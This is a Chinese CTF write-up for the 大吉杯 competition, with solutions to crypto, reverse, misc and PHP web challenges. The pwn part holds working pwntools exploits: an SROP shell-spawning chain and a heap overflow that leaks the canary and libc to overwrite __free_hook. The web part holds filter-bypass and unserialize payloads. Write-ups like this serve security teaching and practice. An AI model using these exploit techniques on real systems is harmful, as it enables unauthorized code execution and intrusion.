實在是很忙,忙着趕項目,沒來得及參加這個比賽,只能抽空做一下,斷斷續續做,然后寫好wp又因為太忙忘記發出來。。。。
這次比賽的題挺不錯的,難度適中(狸題除外,真的狸譜,有時間研究一下阿狸師傅的題,題目很新穎),部分題目后期再補上
在此感謝出題的各位大師傅!!!
Crypto
easysignin
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from random import getrandbits
from secret import flag
def genpq(k):
while True:
p = getPrime((k + 3) // 4)
q = getPrime((k + 3) // 4)
if ((p ** 2) * (q ** 2)).bit_length() == k:
return (p, q)
def genseq(t, k):
x = getrandbits(k)
y = getrandbits(k)
r = []
r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
for i in range(len(flag)):
r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
return r
(p, q) = genpq(2021)
e = getPrime(0x0123)
r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
c = pow(bytes_to_long(flag), e, 2021 * p * q)
out = open('output.txt','w')
out.write(str(r) + "\n")
out.write(str(c) + "\n")
out.close()
程序自定義寫了getpq函數,然后弄了一大堆東西,最后就是rsa加密,genseq函數中的t為素數,直接費馬小定理化簡為1,后面三次調用這個函數,r和p,q,e均存在關系,LCG攻擊
因為之前研究過La大佬的LCG攻擊,用腳本即可解出p,q,e
from functools import reduce
from math import gcd
from gmpy2 import *
from Crypto.Util.number import *
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
rp = []
rq = []
re = []
xp, yp, p = crack_unknown_modulus(rp)
xq, yq, q = crack_unknown_modulus(rq)
xe, ye, e = crack_unknown_modulus(re)
print(p)
print(q)
print(e)
d = invert(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))
luckybase
不會,待研究~~
大佬們幫我看看我這個Python腳本為什么運行不了啊
fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES
A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
nuMBER = bYTEs_tO_long(a_FAKE_FLAG)
KeY1 = B'DO yOU WAnT A DAJIBEI?'
KEY1 = Bytes_to_lONG(KEY1)
KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
iv = 10800
KEY3 = KeY2 * IV
IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
print(long_tO_bytes(IS_THis_REAl_flag))
修正大小后,運行,得到
thrEE_means_3
結果為:
英文_means_數字
flag有可能是這種結構,逐一嘗試,最終試出flag
聽說
不會,待研究~~
eccsimiscce
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from random import getrandbits
from secret import flag
def gen(n):
g = []
while len(g) < 2:
r = getrandbits(128)
if r < n:
g += [r]
return g[0], g[1]
pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
assert len(pt) % 8 == 0
o = open('output','w')
n = getPrime(64) * getPrime(64)
o.write(str(n) + '\n')
a, b = gen(n)
p = []
E = EllipticCurve(IntegerModRing(n), [a, b^2])
P = E((0, b))
p += [P.xy()]
for k in range(len(pt) // 8):
Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
p += [Q.xy()]
P = Q
o.write(str(p))
代碼就是就把flag的二進制經過處理后,8個字節一組進行ECC加密,之后將得到的Q點作為下一組的P點繼續加密處理,n是素數,根據在全國大學生信息安全競賽學到的一個知識點,可以把分解為模p和模q上的兩題曲線來處理,逆行解即可,解出來是01字符串,轉為二維碼,掃描即可獲得flag(腳本忘記貼上來了。。。)
簡單密碼
不會,阿狸師傅的題,還是很狸譜~~
單表加密
待研究~
pwn
easyrop
先檢查文件保護
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
沒有開任何保護,ida分析,發現程序很短
寄存器所有的值我們都可以控制,偽造sigframe,控制程序走向即可pwn
from pwn import *
context(arch='amd64',os='linux')
context.log_level = "debug"
pop_rax = 0x4000db
read_addr = 0x4000dc
buf_addr = 0x6000e0
#p = process('./easyrop')
p = remote('pwn.chall.ctf.show',28035)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x300
sigframe.rsp = buf_addr
sigframe.rip = read_addr
p.recvuntil('Welcome to DJB easyrop!\n')
payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
p.send(payload)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr+0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = read_addr
payload = p64(pop_rax)+p64(15)+str(sigframe)
payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.interactive()
easy_note
檢查文件保護
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位程序,ida分析,申請函數關鍵部分如下
v1 = malloc(0x20uLL); // 申請內存
src = v1; // src是結構體
v1[2] = dest;
*((_DWORD *)src + 2) = buf;
*(_QWORD *)src = a1; // 大小也寫進結構體
*((_BYTE *)src + 24) = 0;
dest = (char *)dest + a1;
dword_602100 -= a1;
memcpy(dest, src, 0x20uLL); // 復制到dest
qword_602120[dword_602104] = (__int64)dest;
dest = (char *)dest + 32;
dword_602100 -= 32;
free(src); //釋放
v2 = dword_602104++;
dword_602180[v2] = buf;
這里有個點,就是將src的大小也寫進了去了,之后將src復制到dest,再釋放src,同時注意到寫函數
int result; // eax
if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
result = read(0, *(void **)(qword_602120[a1] + 16), a2);
else
result = puts("Chunk doesn't exist");
return result;
這里並沒有對大小(a2)進行限制,如果申請小內存,然后寫入大小比較大的內容,溢出,再利用打印函數,那么可以泄露canary和libc版本
from pwn import *
context(arch='amd64',os='linux')
context.log_level = "debug"
p = remote('pwn.chall.ctf.show',28099)
#p = process('./easy_note')
elf = ELF('./easy_note')
libc = ELF('./libc-2.27.so')
def add(size):
p.recvuntil('>')
p.sendline('1')
p.recvuntil(':\n')
p.sendline(str(size))
def print_(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil(':\n')
p.sendline(str(index))
def write_(index,size,content):
p.recvuntil('>')
p.sendline('3')
p.recvuntil(':\n')
p.sendline(str(index))
p.recvuntil(':\n')
p.sendline(str(size))
p.send(content)
add(0x20)
content = 'a'*31+'A'+p64(0x50)
write_(0,0x30,content)
print_(0)
p.recvuntil('A')
p.recv(8)
canary = u64(p.recv(8))
print('Canary addr is:',hex(canary))
memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = memcpy+0x400000
free_hook = libc_base+libc.symbols['__free_hook']
one_gadget = libc_base+0x10a41c
write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
write_(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(p)
p.interactive()
Reverse
A-Maze-Ln
32位程序,無殼,idA分析
找到關鍵函數
memset(Dst, 0, 0x100u);
memset(v11, 0, 0x100u);
((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
((void (__cdecl *)(const char *, char))print)(
"Let's play escape game where you have to find a way out. Please enter your way:",
v2);
sub_401050("%s", (unsigned int)v11); // v11為flag
v3 = 3;
v4 = 0;
if ( strlen(v11) != 34 ) // 長度34
goto LABEL_22;
v5 = 0;
do
{
v6 = v11[v5];
switch ( v6 )
{
case 'U':
v7 = v4;
if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
--v4;
break;
case 'D':
v7 = v4;
if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
++v4;
break;
case 'L':
v7 = v4;
if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
--v3;
break;
case 'R':
v7 = v4;
if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
++v3;
break;
default:
goto LABEL_22;
}
++v5;
}
while ( v5 < 34 );
if ( v3 != 4 || v4 != 7 )
{
LABEL_22:
print("You're stuck!\n");
return 0;
}
if ( sub_401090(v7, v11) == -1 )
return 0;
((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
v8 = 0;
do
{
Sleep(0xC8u);
print("%c", Dst[v8++]);
}
while ( v8 <= 0x2C );
return 0;
很明顯是迷宮問題,起點是(3,0),終點為(4,7),大小為8*8,並且數據已給出
根據程序的判斷,得出0是表示死路,1表示通路,最終推算出路徑: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR
Matara Okina
下載候是apk文件,拖進jd分析,關鍵代碼如下
public class FlagActivity extends Activity {
byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
public native String Check(String str);
static {
System.loadLibrary("Checker");
}
/* access modifiers changed from: protected */
@Override // android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_flag);
Uri data = getIntent().getData();
TextView textView = (TextView) findViewById(R.id.result);
String scheme = data.getScheme();
String host = data.getHost();
if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
String queryParameter = data.getQueryParameter("secret");
if (queryParameter == null) {
textView.setText("NO");
return;
}
byte[] bytes = queryParameter.getBytes();
int i = 0;
while (i < (bytes.length + 1) / 2) {
int i2 = i + 1;
bytes[i] = (byte) (bytes[i] ^ i2);
int length = (bytes.length - 1) - i;
bytes[length] = (byte) (bytes[length] ^ i2);
i = i2;
}
if (Arrays.equals(this.ans, bytes)) {
textView.setText(Check(data.toString()));
} else {
textView.setText("NO");
}
} else {
textView.setText("NO");
}
}
}
就是將"@lgvjocWzihodmXov[EWO",經過算法處理,python腳本處理一下
ans = "@lgvjocWzihodmXov[EWO"
i=0
flag_temp = [0]*len(ans)
while(i<(len(ans)+1)//2):
j = i+1
flag_temp[i]^=j
lens = len(ans)-1-i
flag_temp[lens] = ord(ans[lens])^j
flag_temp[i] = ord(ans[i])^j
i+=1
print(''.join([chr(i) for i in flag_temp]))
得到:Android_scceme_is_FUN,再根據代碼,schema為跳轉協議,在配置文件查看內容如下
<intent-filter>
<data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
<category android:name="android.intent.category.DEFAULT"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
訪問的url可知,並構造如下,即可得到flag
<a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>
Unrealflag
缺少環境,待更新
anniu
找到句柄,修改按鈕控件屬性即可
warmup
64位程序,無殼,ida分析,關鍵代碼如下,
if ( byte_40A0[16 * a1 + a2] == -1 )
return 0LL;
for ( i = 0; i <= 15; ++i )
{
if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
return 0LL;//行不等
}
for ( j = 0; j <= 15; ++j )
{
if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
return 0LL;//列不等
}
v4 = a1 - a1 % 4;
v3 = a2 - a2 % 4;
for ( k = 0; k <= 3; ++k )
{
for ( l = 0; l <= 3; ++l )
{
if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一個小塊不等
return 0LL;
}
}
長度為48
if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
{
for ( i = 0; i <= 47; ++i ) // 長度48
{
v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
goto LABEL_9;
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
sub_125E((__int64)&v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
if ( !((unsigned __int8)sub_14E0() ^ 1) )//滿足這個判斷
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(0);
挺明顯的,是個數獨游戲,找原始數據
提取出來,處理數獨游戲解一下,依次取值,得到
[7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
python處理得到flag
flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
for i in range(len(flag)):
if flag[i]>9:
flag[i] = hex(flag[i])[2:]
else:
flag[i] = str(flag[i])
print("flag{"+''.join([i for i in flag])+"}")
e
32位程序,ELF文件,無殼,ida分析無果,動態調試看看
准備找到輸入的地方,進行跟蹤,發現程序跑到這就死循環了
改用attach調試正在執行的進程,並且一直往下跟,一定可以找到判斷的地方,並且過程中發現幾次字符的處理
先是B(可能前面漏了幾個,確實有看到J,結合賽名DJB,前面應該還有DJ)
然后是R
然后是E
這些字符很有可能進行判斷的,特別關注,繼續往下跟,堆棧處發現
繼續,出現
最后有
最終就是個比較函數,輸入的字符串和DDDJJJBBBRRREEE比較,這個就是flag
misc
十八般武藝
下載后是壓縮包,發現需要密碼,注釋有
jph對18個圖片處理得到18個txt文件,每個都藏有數字,在最下面,拼接后為
1361439992231635258176397978587009639353044053720460556276610613346353724230575
發現都是10進制數,提示前10種兵器是10進制,轉為16進制再轉文本為
flag{CTFshow_10_
后8種為8進制,轉為16進制,再轉文本
bA_Ban_b1ng_Q1}
拼接即為flag
請問大吉杯的簽到是在這里簽嗎
下載后是二維碼,但是掃后沒有什么信息,010看看,發現里面似乎還有其他圖片,還發現zip標志,分解看看,得到一個2圖片和壓縮包
圖片掃碼后是說:還要往前走……是不是在這個路口轉彎呢?,解壓壓縮包,里面也是2圖片,第二張圖有點東西
最終在stegsolve發現(走了好多彎路)
豬圈密碼解密即可
牛年大吉
010分析,發現里面存在其他類型的文件,直接分解
但是壓縮包存在密碼,根據提示:壓縮包密碼在圖片文件頭里,剛開始一直不懂什么意思,后來嘗試一下文件頭: 89504E47 ,這個就是密碼,解壓后得到flag
簡單的FM
一直都是0解,很簡單??阿狸師傅可能比較喜歡裸奔。。
童話鎮
下載后是一個mp4文件,分解得到一個壓縮包,但是存在密碼,爆破得到密碼為67373,得到兩個txt文件,兩個文件都很大,有點像機器學習的東西,不懂。。。也是阿狸師傅的題
色圖生成器
解壓后是一個txt文件和一個png圖片,txt文件內容為很多顏色的單詞,圖片的馬賽克部分很奇怪,腳本處理一下,找一下規律
from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
for y in range(50,995,5):
color=p.getpixel((y,x))
print(color[0],color[1],color[2])
i+=1
if i==10:
break
部分結構如下圖
發現馬賽克部分,82,97,114轉為ascii為rar,說明馬賽克部分其實是一個壓縮包,並且發現是RGB中其中一個值為0,寫腳本將數據全部提取出來
from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
for y in range(50,995,5):
color=p.getpixel((y,x))
if color[0] ==0 or color[1]==0 or color[2]==0:
z = (color[0]+color[1]+color[2])//2
print(z,end=' ')
i+=1
010處理一下
打開這個rar文件,里面是一張圖片,010分析一下,尾部發現壓縮包標志,分解,得到一個壓縮包,但是有密碼
根據提示github搜索Cloakify,並用題提供的txt作為字典,跑一下得到密碼
D3arD4La0P1e45eD4iDa1Wo
得到一個pyc文件,反編譯一下
from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
col = []
for i in range(0, 24, 2):
tmp = int(m[i:i + 2], 16)
tmp += random.randint(-5, 5)
col += [tmp]
img = Image.new('RGB', (1024, 512))
for i in range(4):
timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
img.paste(timg, (i * 256, 0))
img.save('C:/Users/Administrator/Desktop/setu.png')
這個腳本是對setu.png進行處理,但是引入了隨機數,逆算法不行,直接暴力破解即可
import re
import hashlib
list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for a1 in range(48,123):
for a2 in range(48,123):
for a3 in range(48,123):
for a4 in range(48,123):
flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
b = 0
for i in range(0,24,2):
tmp = int(list[b])
if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
b = b+1
continue
elif i==22:
print(flag,'Found the flag!')
break
else:
break
拼圖2.0
拼圖即可
碑寺六十四卦
搗鼓了一大圈,沒發現什么,最后將圖片反色才發現線索, stegsolve解一下最低位通道即可得到另一張圖片 (放大鏡放大,得到)
對應卦圖的數字為:
5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40
對應base64解密一下,得到flag
AA86
%@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"
題目提示16位系統的文件,16位dos系統的話能運行的文件比較經典的是com文件,(這學期病毒課實驗課,搭了個16位虛擬機,正好用到),保存為com文件,dos系統跑一下,得到flag
web
veryphp
代碼審計
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;//我們得讀到這個hint
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
首先我們得先讀到hint,長度為29,並且匹配正則,比較容易
-a9<b>xxxxxxxxx>>>>abcphp@Rsx
但是shaw_root的下划線得處理為空格(+不行),繞過正則,得到hint
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
爆破得到的SecretNumber為: 21475 ,然后就到call_user_func,調用類中函數就行了,比較簡單
shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao
spaceman
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
傳入的user_name和pass_word的下划線會被正則影響,空格繞過,得flag
有手就行
url出現file=scan,經過多次嘗試,只有file=flag,才有結果,前端發現代碼,base64轉圖片,是一個小程序
爬樓游戲,爬547萬層,就是點擊547萬次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一個題)
虎山行
不會,暫研究~~~